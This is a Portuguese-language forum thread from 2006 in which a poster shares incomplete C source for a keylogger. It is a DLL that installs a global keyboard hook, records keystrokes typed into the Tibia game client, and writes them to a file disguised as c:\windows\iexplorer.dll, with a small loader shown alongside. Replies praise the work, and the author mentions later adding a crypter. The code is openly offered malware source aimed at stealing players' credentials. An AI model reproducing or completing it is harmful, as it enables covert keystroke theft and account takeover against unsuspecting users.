KL incompleto em C usando HOOKS

Started by Anonymous, 15 de July , 2006, 10:28:17 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

Bom a pedidos vo posta PARTE (nao terminei) do meu KL usando hook.

Abre seu Dev-C++ crie um novo projeto de DLL em C.

Algumas variaveis globais:

FARPROC p;
HHOOK myhook;
HINSTANCE dll;

Agora vem as funcoes que eu criei:

DLLIMPORT void StartHook(void) {
dll=LoadLibrary("keydll.dll");
p=GetProcAddress(dll,"KeyboardProc");
myhook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)p,dll,0);
}

Agora temos a funcao de CALLBACK

DLLIMPORT LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam) {
char name[100];
FILE *fp;
char classt[12];
HWND active=GetActiveWindow();
GetClassName(active,classt,12);
if (code == HC_ACTION && lParam < 0 && !strncmp(classt,"TibiaClient",11)) {
GetKeyNameText(lParam,name,100);
if( HIBYTE(GetKeyState(VK_SHIFT)) != 1 || HIBYTE(GetKeyState(VK_CAPITAL)) != 1
|| LOBYTE(GetKeyState(VK_CAPITAL)) == 0 && wParam < 48 && wParam > 57 )
name[0]=name[0]^32;
if (wParam == VK_RETURN)
sprintf(name,"%s","\r\n\0");
if (wParam == VK_SPACE)
memcpy(&name[0]," \0",2);
if (wParam >= 48 && wParam <= 57) {
name[0]=wParam;
name[1]='\0';
}
if (wParam == VK_BACK)
sprintf(name,"[%s]","BACK");
if (wParam == VK_TAB)
sprintf(name,"[%s]","TAB");
if (wParam == VK_ESCAPE )
sprintf(name,"[%s]","ESCAPE");
if (wParam >= 0x60 && wParam <= 0x69
&& HIBYTE(GetKeyState(VK_SHIFT)) != 1
|| HIBYTE(GetKeyState(VK_CAPITAL)) ) {
name[0]=wParam-0x60+48;
name[1]='\0';
}
fp=fopen("c:\\windows\\iexplorer.dll","a");
fwrite(name,1,strlen(name),fp);
fclose(fp);
}
end:
return CallNextHookEx(NULL,code,wParam,lParam);
}

Da pra ver que eu so queria pegar as teclas digitadas na janela do Tibia ne.

Agora no programa que vai chamar a funcao na DLL

Globais:

typedef int (WINAPI *LPFNEXPORTED)(void);
LPFNEXPORTED p;
HHOOK myhook;
HINSTANCE dll;

Quando for criada a janela:

case WM_CREATE:
dll=LoadLibrary("keydll.dll");
p=GetProcAddress(dll,"StartHook");
break;

Simples nao?

Curiosidades:

Quando vc cria um hook vc entra na hook chain ou seja a tecla vai passar pelo seu hook e tem q continuar o caminho.
Mas se vc tirar o return dentro daquele CALLBACK vc quebra a hook chain e trava o teclado =X

Eu sei ta meio PORCAO mas se nao intendeu pega um melhor e seja feliz.

locator.dll

Pelas boas contribuições...

Ponto!

vlw

locator.dll

Anonymous

Otimo trabalho ^^ Mto bom Durba.. parebens mesmo..
Flw..

HadeS

Ótimo mesmo dvd. Ficou legal.

Ricardo, parece que você consegue Hookar sem usar DLL's. Eu lí em algum lugar no fórum que você tinha conseguido. Como fez?

HadeS

slul

Quote from: "locator.dll"Pelas boas contribuições...

Ponto!

vlw

locator.dll

Você falou que deu ponto e não deu loca.

Hehehe


É o KL parece ser muito bom msm, parabens durbatuluk (dvd)

Anonymous

Pra vcs veram como eu so injusticado.
kkkkkkkkkkkk

o/ um dia eu animo termina e usa uma crypt ai

locator.dll

Tinha esquecido...  ;D :P

vlw

locator.dll

Anonymous